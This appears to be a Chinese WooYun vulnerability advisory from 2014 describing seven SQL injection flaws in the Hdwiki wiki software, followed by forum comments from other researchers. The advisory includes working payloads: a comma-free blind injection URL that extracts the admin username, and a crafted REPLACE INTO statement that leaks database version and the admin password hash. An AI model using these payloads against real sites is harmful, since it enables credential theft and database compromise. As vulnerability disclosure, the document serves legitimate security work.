Hdwiki (20141205) 存在7处SQL注入漏洞(含之前处理不当安全的漏洞)

漏洞概要

缺陷编号:WooYun-2014-088004

漏洞标题:Hdwiki (20141205) 存在7处SQL注入漏洞(含之前处理不当安全的漏洞)

相关厂商:互动在线(北京)科技有限公司

漏洞作者:′雨。

提交时间:2014-12-22 19:26

公开时间:2015-04-02 10:23

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

Tags标签:

漏洞详情

披露状态:

2014-12-22: 细节已通知厂商并且等待厂商处理中
2014-12-27: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2015-02-20: 细节向核心白帽子及相关领域专家公开
2015-03-02: 细节向普通白帽子公开
2015-03-12: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

看到更新了,有几个老洞还没修复 也随便放到这里面来说了。

详细说明:

0x01 在control/comment.php 中

这里的怎么回显让我纠结了很久。INSERT INTO wiki_pms (from,fromid,drafts,toid,to,subject,message,time,new) VALUES ('xiaoyu','2','0','1','admin','评论举报专用','评论作者:xiaoyu<br/>评论时间:12-19 00:47<br/>评论ID:8<br/>评论词条名:xiaoyuxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxasd<br/>评论内容:test'<br/>举报原因teet','1418921320',1)这里会把我们的message的内容回显出来,在发送邮件的那里。 这里是发给了管理员 但是我们的发件箱可以看到。 后面还剩了一个time 和 new 都是不会显示出来的而且hdwiki没mysql error 所以不会报错。二次注入的话盲注会很麻烦,所以像办法直接出数据。INSERT INTO wiki_pms (from,fromid,drafts,toid,to,subject,message,time,new) VALUES ('xiaoyu','2','0','1','admin','评论举报专用','评论作者:xiaoyu<br/>评论时间:12-19 00:47<br/>评论ID:8<br/>评论词条名:a<br/>评论内容:test'+123,1,1)#<br/>举报原因teet','1418921320',1)评论内容:test'+123 mysql +不能连接字符串 只能加一个数字。 加字符是加不进去的一开始是想的hex 但是hex 也会有字符。 然后就是想的把16进制转换成10进制10进制就没数字了撒 然后完整的就是

举报后 进入自己的发件箱标题 收件人 时间评论举报专用 admin 01-01 08:001919905652转发 删除 关闭可以看到这样的发件的。 看 1919905652 这个转16进制 得726f6f74 然后加上0x726f6f74再把HEX编码回来 得root 这样一次截取的字符不能太多 太多了数字太大会报错。0x02 control/doc.php

盲注之。http://web/dan/hdwiki//index.php?pms-checkrecipientsendto=a%E9%8C%A6%27) or CASE WHEN(substr((select username from wiki_user where uid=1) from 1 for 1) in (char(97))) THEN (1) ELSE (0) end limit 1#//bypass逗号的盲注语句。97对应的是a 当第一位是a的时候 返回ok

当不对应时 直接错误。 写个脚本直接跑 很简单的判断。0x03 control/doc.php中

这个跟上个差不多 就不多说了。0x04 control/edition.php

0x05 依旧control/edition.php

跟上面个差不多 不多说了。0x06 control/doc.php中

$doc['title']."','".$doc['tags'] 刚好这截取字符的 后面跟的是一个post来的 那么就可以注入了。后面看了下 这个洞竟然被提交过了 http://**.**.**.**/bugs/wooyun-2010-081667但是我觉得xxx牛给的利用很不完美啊。 至少在我这个版本/* 是不成功的在php中/* 能直接注释掉后面的东西 但是mysql很多版本都需要在后面接*/才能注释掉一开始我也在这语句上纠结了很久 我们先来看一下这个语句REPLACE INTO wiki_doc(did,letter,title,tag ,summary ,content,author,authorid,time,lastedit,lasteditor,lasteditorid,visible,editions)VALUES (56,'x','xiaoyuxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxasd\',',user(),1,1,1,1,1,1,1,1#','asd','<p>asd<br /></p>','xiaoyu','2',1418925356,1418925356,'xiaoyu','2','1',0)是这样的 他换行了。 就是因为这个换行 让人蛋疼。首先我们知道# -- 都是单行注释 这个多行注释/* 在mysql中又需要接*/后面的我们是不可控的 所以也没办法利用 这里我们还是得来接我们的单行注释一共14个column 换行了后的有8个column 所以我们前面需要接6个column56,'x','xiaoyuxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxasd\',' 这里是三个 所以我们构造一下56,'x','xiaoyuxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxasd\',',1,1,1 这样就是6个了。 在1后面还需要构造一个, 为的就是和下面换行了的连接起来 然后再注释掉这一行后面的那么最终语句就是REPLACE INTO wiki_doc(did,letter,title,tag ,summary ,content,author,authorid,time,lastedit,lasteditor,lasteditorid,visible,editions)VALUES (56,'x','xiaoyuxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxasd\',',concat(user(),0x23,version()),user(),(select concat(username,0x2c,password) from wiki_user where uid=1),#','asd','<p>asd<br /></p>','xiaoyu','2',1418925356,1418925356,'xiaoyu','2','1',0)

成功执行。

直接出数据。0x07 control/pms.php中

这个老洞也没修复 http://**.**.**.**/bugs/wooyun-2010-067410 试试修复了把。

漏洞证明:

修复方案:

无尽的过滤。

漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-0210:23

厂商回复:

最新状态:

暂无

评价

  1. 2010-01-01 00:00 bitcoin 白帽子 | Rank:290 漏洞数:36)

    牛!

  2. 2010-01-01 00:00 猪猪侠 白帽子 | Rank:2932 漏洞数:249)

    大礼包

  3. 2010-01-01 00:00 D_in 白帽子 | Rank:311 漏洞数:26)

  4. 2010-01-01 00:00 泳少 白帽子 | Rank:158 漏洞数:20)

    猪猪侠也来了?

  5. 2010-01-01 00:00 草榴社区 白帽子 | Rank:85 漏洞数:14)

    楼主居然没拆成7个...业界良心.

  6. 2010-01-01 00:00 胡小树 白帽子 Rank:13 漏洞数:3)

    你关注的白帽子 ′雨。 发表了漏洞 Hdwiki20141205)

  7. 2010-01-01 00:00 px1624 白帽子 | Rank:963 漏洞数:126)

    @互动在线(北京)科技有限公司 xwiki是不是你们?

  8. 2010-01-01 00:00 geekfree 白帽子 | Rank:9 漏洞数:2)

    怎么绕过防御的??

  9. 2010-01-01 00:00 sin 白帽子 | Rank:20 漏洞数:1)

    审计哪家强....

  10. 2010-01-01 00:00 ′雨。 白帽子 | Rank:1086 漏洞数:88)

    看最近的状态 要被忽略了 到时候补点rank吧, [email protected] @疯狗

  11. 2010-01-01 00:00 ′雨。 白帽子 | Rank:1086 漏洞数:88)

    @geekfree get才有 post没,

  12. 2010-01-01 00:00 geekfree 白帽子 | Rank:9 漏洞数:2)

    噢,原来如此,get的这种方式能绕过吗?

  13. 2010-01-01 00:00 geekfree 白帽子 | Rank:9 漏洞数:2)

    @′雨。 get的这种方式能绕过吗

  14. 2010-01-01 00:00 ′雨。 白帽子 | Rank:1086 漏洞数:88)

    @geekfree 结合具体的点把。 不过我感觉一般不行了。

  15. 2010-01-01 00:00 geekfree 白帽子 | Rank:9 漏洞数:2)

    @′雨。 能加个q不:1963103788

  16. 2010-01-01 00:00 Smilent 白帽子 | Rank:36 漏洞数:3)

    get post都做了防御的啊,求姿势

  17. 2010-01-01 00:00 huotoo 白帽子 | Rank:22 漏洞数:3)

    这些基本之前都发过了 只有一个 是没发的

  18. 2010-01-01 00:00 roker 白帽子 | Rank:138 漏洞数:14)

    ? 1w : 4k

  19. 2010-01-01 00:00 ′雨。 白帽子 | Rank:1086 漏洞数:88)

    @roker 我要无视你这个傻逼。-.-

  20. 2010-01-01 00:00 roker 白帽子 | Rank:138 漏洞数:14)

    @′雨。 我要分手费 🙁

  21. 2010-01-01 00:00 牛肉包子 白帽子 | Rank:190 漏洞数:17)

    @roker @′雨。 天天秀恩爱。

  • N/A